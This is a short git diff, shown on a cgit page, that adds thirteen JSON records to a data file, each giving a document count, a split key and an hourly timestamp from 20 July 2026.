+{"doc_count":1612,"split_key":201401,"timestamp":"2026-07-20T08:00:00.000Z"} +{"doc_count":1441,"split_key":51396,"timestamp":"2026-07-20T08:00:00.000Z"} +{"doc_count":880,"split_key":398101,"timestamp":"2026-07-20T08:00:00.000Z"} +{"doc_count":14729,"split_key":206264,"timestamp":"2026-07-20T09:00:00.000Z"} +{"doc_count":13480,"split_key":209334,"timestamp":"2026-07-20T09:00:00.000Z"} +{"doc_count":1543,"split_key":201401,"timestamp":"2026-07-20T09:00:00.000Z"} +{"doc_count":1291,"split_key":63737,"timestamp":"2026-07-20T09:00:00.000Z"} +{"doc_count":558,"split_key":47583,"timestamp":"2026-07-20T09:00:00.000Z"} +{"doc_count":14713,"split_key":209334,"timestamp":"2026-07-20T10:00:00.000Z"} +{"doc_count":5717,"split_key":206264,"timestamp":"2026-07-20T10:00:00.000Z"} +{"doc_count":867,"split_key":201401,"timestamp":"2026-07-20T10:00:00.000Z"} +{"doc_count":604,"split_key":207043,"timestamp":"2026-07-20T10:00:00.000Z"} +{"doc_count":297,"split_key":37963,"timestamp":"2026-07-20T10:00:00.000Z"} -- cgit v1.2.3